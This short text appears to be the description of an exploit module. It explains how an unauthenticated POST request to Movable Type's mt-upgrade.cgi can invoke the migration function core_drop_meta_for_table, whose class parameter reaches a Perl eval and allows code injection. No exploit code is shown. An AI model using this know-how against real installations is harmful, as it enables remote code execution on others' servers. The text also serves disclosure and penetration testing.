					This module can be used to execute a payload on MoveableType (MT) that
					exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-upgrade.cgi),
					that is used during installation and updating of the platform.
					The vulnerability arises due to the following properties:
					1. This script may be invoked remotely without requiring authentication
					to any MT instance.
					2. Through a crafted POST request, it is possible to invoke particular
					database migration functions (i.e functions that bring the existing
					database up-to-date with an updated codebase) by name and with
					particular parameters.
					3. A particular migration function, core_drop_meta_for_table, allows
					a class parameter to be set which is used directly in a perl eval
					statement, allowing perl code injection.
